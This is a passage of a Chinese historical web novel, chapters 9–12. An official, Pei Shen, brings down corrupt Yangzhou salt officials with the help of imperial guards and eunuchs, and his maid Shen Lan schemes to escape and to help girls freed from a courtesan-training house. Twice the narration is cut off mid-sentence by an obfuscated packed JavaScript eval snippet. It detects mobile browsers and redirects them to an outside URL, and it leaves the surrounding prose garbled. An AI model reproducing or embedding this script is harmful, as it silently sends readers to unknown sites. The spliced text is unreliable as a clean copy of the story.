一旁的裴慎却即刻想到篇十五是《刻意篇》,其中有一句“众人重利,廉士重名。”他想到这里,便暗叹一声,好端端的《庄子》不叫,非要说什么《南华真经》。 况且既要训诫秦献清廉二字,论语有“饭疏食饮水,曲肱而枕之”,礼记有“临财毋苟得,临难毋苟免”,尚书有“直而温,简而廉”。四书五经一个不用,偏偏要用庄子的“众人重利,廉士重名”,可见陛下近来是越发向道了。 苦思冥想想的自己冷汗涔涔,周围锦衣卫和番子又虎视眈眈,秦献早已面如土色,偏偏那石经纶竟还嫌不够似的,高声道:“陛下再谕秦献,既是记不住外篇十五,可记得杂篇二十八?” 裴慎略一思忖便明白了,杂篇二十八是《让王》,应当是那句“人犯其难,我享其利,非廉也。” 秦献连第十五篇都不记得,遑论二十八了,早已汗如雨下,跪地稽首不停。 石经纶见状,便板着脸:“陛下三谕秦献,既是不读《南华经》,那么可还记得《八佾》中‘君使臣以礼’的下半句?” 八佾是论语篇三,秦献好歹也是进士出身,四书五经烂熟于心,自然知道下一句是什么。 ——臣事君以忠。 可分明知道答案,他此刻情态竟比答不出前两问还惨烈,只见他面白似纸,色如死灰,整个人涕泪涟涟,惨叫不休。 “我秦羹之对陛下忠心耿耿!绝无二心!绝无二心呐!”说罢,竟被吓得目眦尽裂,胆丧魂惊。 裴慎见状,一把拽起秦献,朗声道:“秦大人何苦如此?陛下未曾下旨褫夺你的官位,自是知晓你竭诚尽节,忠贯白日。” 秦献原本黯淡无光的眼睛竟猛然迸发出亮光,他死攥着裴慎胳膊,连声道:“是极是极!裴大人说的是!说的是!” 见他这般,裴慎便知道秦献已是吓破了胆,至少他在转运使的任期内,必会全权配合裴慎。 方才还板着脸的石经纶此刻也挤出一个笑道:“秦大人安心罢。” 听锦衣卫这么说,秦献悬着的心才算放了下来,终于没刚才这般失态了。只是他腿软的站不起来,只能跌坐在地。 裴慎便一把扶起他,叫他坐在了圈椅上,又温声安抚:“秦大人今日蒙陛下垂怜,得以聆听圣训,想来如今是蒙昧尽去,心明眼亮了。” 说着,便看了眼许益。 秦献心里一突,陛下前两谕,俱是在训诫他廉之一字,必定是知道他贪污受贿的事了。 之所以没有像副使刘必之一般入京受审,多半是因为姐夫孙德宁,可这样一来,他的官位也保不住了,过个一年半载,陛下必定会找个错处贬谪了他。 得想想办法,想想办法……秦献定定地看了两眼许益,这是东厂档头之一,肯定是陛下身侧某个大珰的心腹。若能通过许益请那位大珰在陛下那里说几句好话…… 再想想陛下的第三谕,忠。什么叫忠?臣子贪污受贿,挖着陛下的墙角是不忠。臣子自己吃得脑满肥肠,陛下一无所得,是不忠。既然要忠…… 秦献心思已定,便感激的冲着裴慎笑了笑,换来裴慎温和的笑容。 锦衣卫和厂卫联手,在座众人自知在劫难逃,早已软了身子,呜呜咽咽的哭泣。有几个性烈的还想挣扎,被赏了几棍也老实了。 “裴大人,我等皇差在身,这便告辞了。”石经纶吩咐手下将这些犯官绑好送入囚车后,便要告辞离去。 许益闻言,在心里把石经纶骂了个狗血淋头,他还想着带孩儿们在扬州花花两天,可现在锦衣卫要走,东厂也不能留。否则两方同时出京,锦衣卫却比东厂先回,这不显得他们厂卫办事不力嘛! 感情这出京拿人还真他娘的是个苦差事,半点油水都没有!怪不得大珰们都一推四五六,谁都不肯来。 “还请二位稍候。”裴慎拱手道:“罪官宅院均需查抄,其中还夹杂着几个盐商。本官人手不够,想请石镇抚使和许档头拨几个人手,随本官与扬州知府一同前去抄检。” 借此喂饱了太监们,好让他们不要滋扰扬州以及沿途百姓,速速离去。毕竟让太监们祸害平头百姓,不如让他们去祸害贪官污吏。 闻言,许益大喜。抄家是何等富到流油的差事,这裴大人果真会做人! 锦衣卫和东厂不和已久,叫太监们得利,石经纶却无不满之色。只因他们锦衣卫人多,抄家分润到的财货更多。 石经纶:“既是如此,我且调一队小旗与裴大人同去,只不知裴大人要我等查抄哪里?” 许益久在宫中伺候人,听人话的本事一等一,闻言,即刻意识到石经纶这是投桃报李,给裴慎面子,请他先挑。许益从善如流:“裴大人尽管吩咐!咱家别的不行,抄家最是得力!” 裴慎温声:“许公公说笑了,陛下未曾下旨,哪里敢抄家,不过是还有些证物要搜检出来一并呈给陛下罢了。” “是是是!”许益连连点头,又轻轻打了自己一个嘴巴子,“瞧我这嘴,诨说什么!您老大人有大量,莫与我计较。” 裴慎便笑道:“那刘必之府上有一名瘦马是人证,赵案府上有《伯远帖》真迹,是物证,还有其余受贿官吏府上,均有些人证物证,这些便不劳烦二位了。只是账本的正本应当还藏在盐商刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375392|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛的府上,且多半藏的隐秘,一事不烦二主,劳烦许公公和石镇抚使了。” 让锦衣卫和厂卫亲手将账册正本搜出来,不经过他的手,便无人能说他蓄意构陷,这案子也就钉死了。 一听说让他们抄盐商家,许益放声大笑:“裴大人且放心,为陛下办差事,咱家必定尽心尽力!掘地三尺都要把那账本挖出来!” 石经纶心想,是找到了账本也还要掘地三尺罢!心中虽鄙夷这死要钱的太监,石经纶却也不反对抄盐商家。既有外快可赚,为何不干。 “既是如此,本官这便派人带二位前去。”裴慎道,“原本该为二位及众兄弟接风洗尘,只是今日抓人闹出了动静,为防有人毁去证物,只能劳累二位速速前去抄检。” 盐商何其豪奢,几万两家底总是有的,便是分润下来,他少说也能拿个几千两,谁还在乎一顿饭!许益笑盈盈道:“皇命在身,应该的应该的。” 石经纶更没有二话。 裴慎温和道:“待人证物证尽数集齐,明日午间本官便在太白楼设两桌宴席,必叫诸位吃好喝好。只是本官守恩师孝不能来,知府大人恐怕也要忙于政务,届时便由秦大人招待诸位罢。” 秦献一喜,这是给他跟许益、锦衣卫单独相处的机会啊。且到了明天中午才设宴,还有一天的功夫筹钱。 秦献感激道:“下官必定好生招待。” 又有吃又有拿,许公公心里美的不行,就连石经纶都暗自叹息,指挥使大人果真没看错人。裴慎做起事守正不挠,偏偏手腕圆滑老辣,不出二十年,必能入阁拜相,位极人臣。 石经纶和许益一走,秦献原本也想赶着去筹钱,犹豫片刻还是驻足低声试探道:“方才听裴大人与石镇抚使、许档头谈起什么账本,这账本……” 裴慎但笑不语。 秦献便了然,再想想提到的什么瘦马、《伯远帖》俱是刘葛献上来的,尤其是开宴前裴慎特意与刘葛说了几句话,一时间,秦献五脏如焚,怒火中烧。 别的盐商一样给他送人送物,这刘葛送归送,竟敢私下里记账!还被裴慎查出来了!秦献又气又恨,双目赤红,若不是刘葛已被押送走,只怕顾不得体面都要饱以老拳。 他这会儿被吓得肝胆沦丧,后背尽数湿透,明知这扬州盐场受贿案多半是裴慎捅出来的,可秦献却不敢恨。裴慎上任一月便弄没了他转运使的位子,却又给他指了条活路。雷霆万钧的手段,春风化雨的圆滑,竟让秦献隐隐有几分畏惧。 见他神色惊惧,裴慎浑不在意。这般小人,畏威而不怀德,让他又敬又畏便是了。 果然,没过一会儿,秦献弯腰作揖,毕恭毕敬:“裴大人可还有何吩咐?” 裴慎便笑着摆摆手,任由秦献匆匆告辞离去,回家筹钱。 此刻,包厢里已是杯盘狼藉,满地碎瓷,桌倒椅翻。 被邀请来的二十余人大半都被抓捕,统统送上了囚车,只剩下跪在角落瑟瑟发抖的三五伶人妓子,以及稀稀落落没被抓走的三个官吏和两个盐商。 裴慎刻意邀请了几个清白人家,便是怕这帮人赴宴时起疑。剩下的数人方才见锦衣卫进来,又惊又怒,见同伴均被带走,自己却逃过一劫,又悲又喜。一时间百感交集,竟如同傻了一般呆坐在那里。 裴慎温声道:“诸君莫怕,事情已了结,锦衣卫和厂卫也都走了。只是这宴席不吃颇为可惜。” 方才上的不过是开桌前垫垫肚子的果子茶食罢了,正式的小菜、案酒、下饭、汤品、果碟都还没上呢。 裴慎扫了眼战战兢兢陪坐的五人,笑道:“本官有孝在身,不能宴饮,诸位且自行享用宴席罢。” 五人强颜欢笑,哪里还有心情吃宴,本就已经脸色发白,大汗淋漓,又听他和锦衣卫、东厂番子聊了一通如何抄家,更是两股战战,几欲奔逃。 只是亲眼见着裴慎上任不过一月,便以雷霆手段将整个扬州盐政官场一扫而空,这会儿对他又惧又畏,生怕惹他生气,便捡了桌上干净的一碟果干,味同嚼蜡的吃起来。 裴慎只慢条斯理道:“诸位能从此等大案中脱身,必是素日里清白做人,陛下智周万物,自然看在眼里。” 三个官吏微怔后一股狂喜涌上心头。这是要给他们升官了!是了,这么多官吏都倒了,他们自然能升官。 就连剩下的两个盐商也喜不自胜。刘葛是扬州最大的盐商,他一倒,跟他关系好的几个盐商也得遭殃,空出来这么多盐引,他们怎么着也能多吃两口! 一时间,众人纷纷转忧为喜,眉开眼笑,只觉手里的玫瑰搽穰卷儿都香甜起来。 裴慎便笑道:“不知如今这宴席可还吃得下?” 在座的纷纷喜笑颜开:“吃得下!吃得下!” 这会儿众人对裴慎折服至极,格外恭敬,不敢有半分放肆,纷纷起身把盏敬酒,连声谢过裴大人。 裴慎便笑笑。上任一月有余,他荡清了两淮盐政官场,充实了府库,在都察院留了份香火情,拿到了两淮盐场转运司转运使等林林总总七八个位子,加固了与锦衣卫的关系,又新结交了厂卫。 细细数来,这一月的忙碌颇为值得。接下来便能放开手脚,行盐政改革,若能将盐价降下来,便能有更多百姓受益。 裴慎心中快慰,便以茶代酒,一饮而尽,复拱手告辞,带上侍卫扬长而去。 10. 第10章 裴慎回了盐漕察院,进了正堂,见廊下无人,便掀开湘帘一看,屋内更是人影子都没半个,沉声道:“人呢?” 正给芭蕉洒水的粗使婆子连忙道:“大人,坠儿和墨砚原在廊下守着,只是方才身子不舒服,便歇息去了。” 这坠儿和墨砚都是活泼好动的年纪。裴慎素日里鲜少使唤他们,自然也懒得问他们的去向,只觉这婆子果真不晓事。 他摆摆手:“去将沁芳唤来。” 正说话间,沈澜捧着小茶盘过来,见裴慎站屋子门口却不进去,便道:“爷,厨房的赵娘子进了碗梅汤来。” 裴慎站在湘帘前,低头一望,见那小茶盘上放着个浅口官窑半脱胎甜白碗,盛着栗褐色的梅汤,澄澈清亮,里面的碎冰已化,壁上悬着些许水珠,看着便一阵爽然。 裴慎端起来一饮而尽,凉意随汤入喉,只觉五脏六腑暑热之气顿消。 饮完汤,随手将碗放回小茶盘上,裴慎难得赞扬了一句:“有心了。” 说着,拂袖进屋,沈澜乖觉的捧着空碗跟上,她今日来是有正事的,可不是为了伺候裴慎喝碗汤。 进了屋,沈澜便恭顺道:“爷,这梅汤可好?” 裴慎坐在榻上,那榻上早已被沈澜换上了芙蕖簟,旁边又放了两个冰盆,丝丝凉意漫上,让裴慎心情极好。 他顺手握了卷书,闻言道:“尚可。” 沈澜:“夏日暑热难消,方才坠儿便有些中暑,我叫她去后院竹林子里遮凉,还请爷恕罪。” 裴慎便冷哼道:“你倒会卖乖。” 沈澜这些日子揣摩裴慎,渐渐有了些心得,知道他这番作态不是怪她,不过是不满意回来的时候院子里没人罢了。 “爷素来怜贫惜弱,盛夏暑热难消,院子里的丫鬟婆子们中了暑最是麻烦,吃药弄得满院子都是药味儿,平白无故费钱不说届时还抽不出人手来伺候爷。与其如此,倒不如两日吃一碗梅子汤。” 裴慎饶有兴致的看着她,沈澜既已开了头,便绝没有回头路走,只恭顺垂首往下说。 “白瓷梅子汤最是消暑解燥,爷用的梅子汤贵重,只是仆婢们用的梅子汤不用加什么料,只几十颗梅子捣烂煮开便是,也不必加冰,拿井水湃一湃也够消夏了。” 裴慎扔了书,拿起榻上的金棕川扇有一下没一下的扇着风,闻言淡淡道:“你巴巴的送了梅汤过来,我还以为你晓事了,原来竟是要拿我做人情。” 沈澜倒也不害怕,这几日的相处,叫她知道裴慎心明眼亮,极难蒙骗,可今儿这事她又没骗他。 “爷,我初来乍到,心里想着为爷分忧,偏偏又没什么见识,思来想去也只能想到这么个笨办法。” 沈澜垂首低声道:“爷在外头有下属官吏,侍卫小厮,暑热时赠一碗梅汤是爷体恤,间或换成绿豆汤,盛夏两个月便是日日饮用也不过二三两银子罢了。” 费不了几个钱,却能得个爱护下属的好名声,也让手下人办起差事来尽心些,何乐而不为? 更别提裴慎刚以雷霆之势扫荡了扬州盐政官场,群吏惶惶,正是安抚人心,施恩布德的好时候。 闻言,裴慎颇为惊异地看她一眼:“我原想着赏赐些财物下去,你这法子倒是贴心,也能惠及最底下的小吏。”若赏赐财货,恐怕到不了小吏手中。 沈澜见他赞同,松了口气道:“爷高义。” 一碗梅汤以安抚人心,这办法既得了裴慎的赞赏,又能惠及周围丫鬟婆子、侍卫小厮,结些善缘,何乐而不为呢? 沈澜目的已达到,便垂首侍立一旁,眼观鼻鼻观心,紧闭檀口,八风不动当个摆件。 裴慎见她这般,只歪在榻上拿扇子指了指她,调笑道:“你既蕙质兰心,如今又这般谨慎做甚。还怕触怒了我不成?” 这话说的亲昵,沈澜心知他孝期未过,决不至于在此时惹出些风流债来,便也不怕他谈笑,只睁眼说瞎话道:“爷脾气好,待人温和,我不是怕爷,只是没学过做奴婢的规矩,就只好立在一旁等爷吩咐。” 裴慎把玩着折扇,心道没学过也无妨,左右三年一过,她也不必去学什么做奴婢的规矩了。 两人正闲聊,门外忽有人禀报,只说许档头派了两个番子来送礼。 裴慎蹙眉,许益不去盐商家中敛财,找他做甚:“叫他们进来。”两个小太监还不至于要他去迎。 沈澜犹豫片刻,看了看房中,有一道紫檀嵌云石小座屏风。 “且去屏风后面躲一躲。”裴慎道。陛下正派赵十一采选良家子以充盈宫廷。沁芳容貌太盛,未免惹事,避开为妙。 闻言,沈澜松了口气,匆匆躲进了屏风后。 就在此时,两个小太监进了门,只恭敬作揖道:“见过裴大人。” 裴慎剑眉微蹙:“许公公派你二人来可是有什么事?”说着,他看了眼跟在两人身后的那名女子。只一眼,便移开视线。盯着女眷看,实非君子所为。 两个番子,个高的满面堆笑,指着自己身侧女子:“此女乃盐商刘葛府上的瘦马,名唤琼华。” 琼华为何在此处?屏风后的沈澜愕然,只思忖片刻便想明白了。多半是她逃走后,刘葛挑中了琼华要来献给巡盐御史裴慎。 那高个番子继续道:“据她所述,刘葛买她是为了献给裴大人。许公公听闻此事后,便叫我二人将此女送来。” 裴慎心知这是许公公投桃报李,谢他让其查抄盐商。可他如今恰逢孝期,光明正大的接受一个太监送来的瘦马,官声,仕途还要不要了? 裴慎摆摆手:“许公公实在客气了,只是我如今正守恩师孝,焉敢近女色?” 那两个番子闻言,一时间竟有些为难。许公公只让他们把人送来,却没说裴大人不肯收该怎么办? 一旁的琼华已是面如土色,惊惶无措。她先是在刘葛府上过了几天仆婢成群的好日子,只等有朝一日飞黄腾达。谁知没过几日,竟等来了如狼似虎的锦衣卫和东厂番子。 今日若不能留在此处,回去便要面对锦衣卫和太监。想到这里,琼华一时间泣涕涟涟,跪倒在地,连声高呼:“请大人垂怜!请大人垂怜!” 屏风后的沈澜心中酸涩。这不过是个十五岁的小姑 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那又如何?裴慎呷了口茶水,不言不语。 沈澜急了起来,匆匆指了指屏风外的檀木案几,那上面还放着小茶盘和甜白碗。 刚刚献了以梅汤安抚人心的主意,这才过去一刻钟,便要来兑现功劳。裴慎心中不满,照旧不动。 沈澜无奈,只面带哀求,拱手作揖。她素来沉稳,鲜少喜怒形于色,更别提秀眉微蹙,欲说还休的哀求。 裴慎瞥她一眼,放下茶盏,淡淡道:“二位且住,此女看着也是个可怜人。若审查过后不涉及刘葛案,便放了她的奴籍,且让她归家去罢。” 琼华闻言,霎时瘫软在地,又忽而放声大哭。 两个番子面面相觑,只好谄笑着说几句“大人仁厚”、“恤民”之类的话,拽起琼华告辞离去。 屏风后的沈澜松了口气,心里又晦涩难明。她不可能要求裴慎收琼华做丫鬟或是妾室。一则裴慎决不会答应,二则这很可能惹怒裴慎,把沈澜自己搭进去。 可只要裴慎肯为琼华说句话,锦衣卫和东厂便会放过她。只是若琼华还是奴籍,命运依然不由她作主。沈澜便请裴慎帮忙销去她的奴籍。 成了良家子后,若琼华再聪慧些,联合刘妈妈院子里那些剩下的姑娘们,众人抱团,便没有地痞流氓敢来欺凌。届时精进绣艺,像那个绣娘一样,将来开一家绣庄,也能好好过日子了。 “出来吧。”见人走了,裴慎吩咐道。 沈澜没动,裴慎抬眼望去,只见沈澜怔怔地立在原地,不知在想什么。 裴慎见状,玩笑道:“方才胆子不还挺大,这会儿愣着做甚?莫不是怕我怪罪你?” 沈澜回过神来,笑道:“爷,没什么,只是我刚才走了神。”她脸上是笑着的,只是连笑容都泛着几分苦涩。 她心心念念的销去奴籍,琼华得到了。琼华要的荣华富贵,就放在沈澜面前。 人世间的事,总是这样。想要的,求不到。不想要的,偏要涌上来。 11. 第11章 一整日,沈澜都神思恍惚,怅然若失。见她这般,裴慎蹙眉道:“是叫你夹一筷槐叶淘,不是蜜渍梅花。” 沈澜惊觉,连忙收回手中三镶银箸:“对不住,爷,奴婢走神了。” 裴慎冷下脸:“下午让你磨墨,你拿笔洗当砚台使。叫你泡盏清茶来,你弄了杯桂花木樨茶。如今连布菜都布不好了!说罢,什么事弄得你一整日梦魂颠倒、神思不属?” 沈澜稍显沉默,见她这般,裴慎冷下脸来:“莫不是见那琼华脱了奴籍,心生艳羡?” 沈澜正犹豫,可否要借此机会说明白,也好求个良籍。琼华脱籍如此容易,不过是裴慎一句话罢了,沈澜若不试一试,心中实在不甘。 她正要开口,一抬眼,惊觉不对,裴慎脸色冷若冰霜,如山巅霜雪,泛着股砭骨的冷劲儿。 裴慎城府极深,素日里喜怒不形于色,微笑不一定是喜,冷脸也不一定是怒,可那都是面对官场同僚。对她一个丫鬟,有什么装模作样的必要呢? 心知裴慎已是恼怒,沈澜急急止住话头,缓了口气,只垂首道:“爷误会了。奴婢之所以总走神,只是想着要不要出府一趟?” 闻言,裴慎竟缓了神色,面带微笑:“出府做甚?” 见他这般,沈澜心中越发警醒,小心斟酌:“爷说笑了。奴婢不过是见了当年旧人,一时间心生感慨罢了。若不是爷将奴婢留在身边,只怕奴婢逃出刘宅后便要无家可归,任地痞流氓欺凌。” 闻言,裴慎便看她两眼,明知她是个狡狯性子,这番话里几分真几分假尚未可知。可她话说得甜,素日里办事妥帖无半分愤慨之意,便当她这番话是真的罢。 裴慎淡淡道:“知道便好。” 沈澜度过一关,只觉后背薄汗涔涔。她心知脱籍一事不能再提,否则便是自寻死路了。 想了想,沈澜小心道:“爷,奴婢大胆问一句,不知刘妈妈是否已入狱?” 裴慎见她面色微微苍白,想来是刚才吓着她了。便点点头,只夹了几瓣蜜渍梅花,权做安抚:“尝尝。” “谢爷赏赐。”沈澜见桌上只裴慎一双银箸,总不能用公筷吃,便只好拂起袖子,以手指捻住了那两片薄薄的梅花瓣。 剥若春葱的指尖,沾了些琥珀色的糖汁,捻弄着淡粉色的梅花瓣,送入了娇嫩润泽的朱唇中,香舌一卷,三两下便消失在雪白的贝齿中。 裴慎呼吸一窒,血气涌上来,周身俱是热意,四角冰盆全然无用。他兀自镇定了半晌,到底拂袖起身:“沐浴!”说着,大步进了净室。 沈澜茫然无措,只觉此人果真反复无常。方才还好好的,况且她话还没说完呢,沐什么浴! 沈澜忍着气,只垂首,照常替裴慎沐浴更衣。沐浴后的裴慎约摸是心情好多了,歪在榻上,捏着卷尚未看完的《青琐高议》,只闲坐读书。 沈澜站在他身后,一边拿着干净棉帕,细细替他绞干湿发。 室内一片静谧,唯独窗外间或几声蝉鸣,月华透过轩窗在榻上铺出一片雪色,映得三两烛火暖黄可亲。 “爷,头发绞干了。”过了会儿,沈澜道。 裴慎嗯了一声,只随意扔下书,问道:“你白日里问那鸨母做甚?” 沈澜踟躇片刻,到底开口道:“我自己有爷庇护着,已是衣食无忧。可若刘妈妈入狱,想来那刘宅也被封了。琼华和留在刘宅中的姑娘们只怕是无家可归。” 裴慎不为所动,嗤笑道:“你白日里已发了一回好心,如今到了晚上,又要来做好人。你是女菩萨不成?” 朦朦夜色里,沈澜忽有几分惆怅:“我与她们一般无二,俱是身世浮沉雨打萍。我不是想做菩萨,只是心有同感,想着能帮则帮罢了。” 裴慎蹙眉:“日后这般话莫要再说。什么身世浮沉雨打萍,着实不吉利。” 见沈澜应了一声,裴慎这才满意道:“且安心,你既跟了我,必不会叫你无枝可依。” 沈澜只微笑着,应了一声:“谢过爷。”人生来就该做一棵树,只管挺直了脊背向上长去,谁要当依靠你的藤萝? 谢过裴慎,沈澜这才垂首道:“爷,我可否出府一趟?”语罢,解释道:“刘妈妈每年都会买十几个生得好的女孩。资质上等的便教些琴棋书画、诗词歌赋。中等的教些膳食女工,下等的便教算账掌家。” “一年一年的裁汰,裁汰了的卖给妓馆回本,直到最后剩下四五个养成了的瘦马便高价卖出去。故而刘宅中有许多小女孩,小的才六七岁,大的也就十一二岁。” 沈澜忧虑道:“这些女孩有的是被人牙子拐来,有的是被亲人卖了。刘妈妈下狱是好事,可这些孩子不仅没了栖身之所,也无家可归。” 裴慎只无动于衷,这天底下苦命人多了,若他见一个便怜一个,日子也不必过了。 “府里收不了这么多丫鬟。” 沈澜垂首:“爷,我没想着收她们进来。只是想出府一趟,去见见琼华。” 裴慎蹙眉:“你去做甚?” “我从刘宅逃出来的时候带了好几根金簪银簪,我想去当了,约摸能有个三四十两。加上我身上七十余两银子,共计百余两左右。” “托付琼华花个四十两买个便宜些的民居,无需什么青砖汉瓦,便是破烂些,能有片瓦遮身即可。不想归家或无家可归的女孩子便可以住在这里,十几个人凑在一起,没有闲汉强人敢近身。” “再花三十两请一个技艺不错的绣娘,共计请两年,教她们点绣艺,将来也能有份手艺糊口。” “最后三十两便一分为二,一年掏十五两,只买些料子给她们,且回购她们的练习之作。若勤加练习,两年后她们便能去绣庄接些简单活计了。” 听她说完,裴慎却也不答话,只暗自忖度,沁芳到底是爱钱还是不爱钱呢?她当日分明极在意月银,却又舍得下百两银子做善事。 思及此处,裴慎难免问道:“百余两银子已是寻常人家五年的嚼用,在外头能添置十亩上好的水浇地,你也舍得?” 沈澜毫不犹豫:“那银子本就是姑娘们卖身的血汗钱,取之于她们,用之于她们,也算用得其所。”便是没有遇到裴慎,待她逃出去,将来有能力了,一样要回来救一救这群姑娘们的。 语毕,见裴慎迟迟不说话,沈澜微微焦虑,还以为裴慎不肯答应。 实则裴慎见她穿着薄薄的细布夏衫,眉间笼着轻愁,灯火朦胧之下,愈发弱不胜衣,不由得心生怜惜。 她这般羸弱心软,若年纪到了放出府去,恐怕顷刻间便被人剥皮拆骨。倒不如留在府上,他也好看顾着。 裴慎一面想,一面轻斥:“你倒心善。那点钱自己留着用吧。”说着,便要将陈松墨唤进来,叫他支取三百两去办此事。 沈澜连忙开口:“大人如今正守孝,哪里好吩咐下属去办此事?若有言官风闻奏事,岂非不美?况且我与琼华等人俱相熟,倒不如由我去,一则俱是女子不起眼,二来也免了大人沾上性喜渔色之名。” 她除了想帮一把琼华等人,也是要借机出府打探一二,若是陈松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375394|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨去办,她便还要困在府中,等赵娘子有空方能出去。 “不好。”裴慎摇头道:“你一介弱女子,孤身出去我哪里放心。若要陈松墨陪着,那不若叫他单独去办便是了。” 见灯火下裴慎神色淡淡的,沈澜也不敢再争执,唯恐暴露了心思惹了裴慎警觉反倒不美。罢了,且等等赵娘子罢。 沈澜计定,便道:“大人,我可否给琼华写封信?且在信中嘱托她一二。” 裴慎便起身去了楠木翘头案前,招手道:“过来,你且来写便是。” 沈澜只草草研墨,将自己的计划一一道来,又说若无人想靠绣艺生活,便将那百余两银子按照人头均分,各人自奔前程便是。说到底,大家都有自己的心思,她只想着帮人一把,并不愿强迫别人。 沈澜正斟酌字句,谁知身后忽传来几声闷笑。她纳闷地回头望去,只见裴慎兴味盎然,拿着笔点道:“你这字毫无筋骨,若三岁稚儿,竟是个花架子。” 沈澜脸不红气不喘,毫无羞恼之意。她来此地一年,除却熟悉环境,苦思冥想如何逃跑,剩下的时间俱在恶补礼仪、品香研墨,学些唱曲小调,额外加学一些房中术。像习字这些需要积年累月方能有成果的事,沈澜根本来不及培养。 “那鸨母竟是个面上光,莫不是个骗子?”裴慎笑。 沈澜好奇道:“鸨母还能有骗子不成?” “自然有。”裴慎握住她的右手,只觉握上了一团莹润细腻的软玉,“常有人买了女孩子,调.教个几天,胡乱教她们背几首诗,便带去主顾面前,只说这是个上等瘦马,要价千两。外地来的客商常有人被骗。” 沈澜一时大为惊奇,只觉古往今来,世事流转,独独骗子永远都有。 说着,裴慎立于沈澜身后,带着她的手,只一笔一划教她写信。 一豆灯火,两三蝉鸣,裴慎心中一派宁静,只一边握住纤纤玉手,一面嗅着她鬓发间盈盈暗香,芬芳轻盈,不像花,莫不是槐叶?或是脂粉香气? 想了一会儿实在没什么头绪,只一心二用地想着她怎么连根钗都不用?若用上蝶恋花银丝吐蕊簪,蝴蝶振翅欲飞,花蕊微微颤抖,缀在她鸦鸦鬓发间,必定好看。不用银簪,用玉簪也好,白玉兰簪,通体温润…… “爷,写好了。”沈澜退开半步,松了口气。裴慎弱冠之年,已是成年男子的体型,胸膛贴着她的后背,热得像团火炉。 “哦。”裴慎眨眨眼,只缓慢应了一声,这才松开手,略有几分怅然若失。只是怅然过后,忽又朗笑出声。 原来红袖添香夜读书,竟是这般滋味。 沈澜只迷茫的看着他,不知他为何笑。半晌,只听见裴慎哑声道:“沁芳,日后闲来无事,我教你读书习字可好?” 沈澜略略思忖片刻,便答应了。 按理,两人握笔学习时过于亲密,沈澜怕裴慎起了心思,本不该答应的。可偏偏裴慎要守孝三年,必定不会在此时动她。 加上在古代,接受教育的机会何其难得,如今有名师指点,为何不答应?但凡能写的了一笔好字,将来出了府,扮成男子做个账房也够养活自己了。 “多谢爷。”沈澜头一回如此真诚。 裴慎微微翘起嘴角,复又将她虚虚搂在怀中,贴着她纤细的脊背,握住她剥若春葱的手指,在她耳畔低语道:“先学握笔姿势,当以五指执笔,指实掌虚……” “是这样吗?” “我教你……” 此时良夜灯光簇如豆,喁喁低语今宵后。 12. 第12章 第二天一大早,沈澜便将手中银钱加上数根金簪银簪,连同一封信尽数交托于陈松墨。 “劳烦陈大哥了。”沈澜客客气气地递过去五两银子。 陈松墨低着头,不去看她,只摆手道:“姑娘客气了。近日院中日日供给梅子汤、绿豆汤,暑热之时饮一碗,甚是爽快。我等尚未谢过姑娘,哪里敢收姑娘的钱。” 爷素日里赏赐财货较多,怎会记得这样的小事,多半是沁芳提议的。 “陈大哥客气了。”沈澜隔着一丈远道。 两人未再多闲话,只转身离去。 待她回了正房,裴慎正好习武回来。沈澜上前,正欲接过裴慎手中拓木牛角强弓,谁知裴慎微微避开,笑道:“这弓极重,你提不动。” 平时裴慎嫌弃院子小,没有演武场,便极少动弓箭,近日来不知从哪里寻了三石强弓,于后院竹林里习练。 “爷近日里怎么射起箭来?”沈澜试探道。领导的任何一点变化都会对下属产生影响。或好或坏,沈澜自然要问。 裴慎将弓挂去墙上,兀自进了净室:“未雨绸缪罢了。” 沈澜脚步一顿,只试探道:“爷,要打仗了吗?”若是打仗,顷刻之间生灵涂炭,疮痍满目。 裴慎见她脸色微微发白,不由得心生怜惜:“安心,我不过随口一说罢了。” 分明是搪塞,沈澜有心再问,却也知道裴慎既然敷衍她,那便是不愿说,再问也没用。 语毕,裴慎道:“我近期需外出一段时间。” 沈澜心喜,面不改色应了一声,恭敬道:“不知要多久?” 裴慎瞥她一眼,见她如往常一般,垂首肃立,绝不多说一个字,半句话,恨不得自己是个不引人注目的摆件。 “暂时还未定下。”裴慎思忖,他要巡查都转运盐使司三个分司、两座批验所,还有六十二个盐场、盐课司。盐政改革已开始,这些巡查决不能走马观花,至少要在一地待上三五天。 “少说也要五六个月。”裴慎答道。 五六个月?沈澜强压着笑意,把头深深地低下去,唯恐自己笑出声。半年都不需伺候领导,有的是时间出府了解情况,做些准备。唯一可惜的是她的学习要停滞了。 “爷,可要我做些什么?”沈澜摆出一副甚是关心的样子。 见她这般懂事,裴慎微微叹息,“沁芳,你说我可要将你带去?” 沈澜心里一紧,拒绝的话恰要脱口而出,只是转念一想,裴慎此人权欲极重。若带她去办公,别人必定以为她是裴慎新纳的妾室而不是丫鬟。届时裴慎难免要被言官参一本性好渔色,甚至不孝不悌。他决不会贪图一时享乐,导致自己仕途有损。 果然,还未等沈澜开口,裴慎便笑了笑,拂袖起身,兀自看书去了。 待到第二日,晨雾侵晓,天色将白,裴慎只带上侍卫队,出了盐漕察院后快马加鞭,离开了扬州城。 沈澜一个人在房中坐了一会儿,见轩窗外晨间薄雾缓缓散去,日光渐明渐亮,她心里也仿佛亮堂起来。 四下无人,沈澜轻笑出声,毫不犹豫倒头睡了个回笼觉。 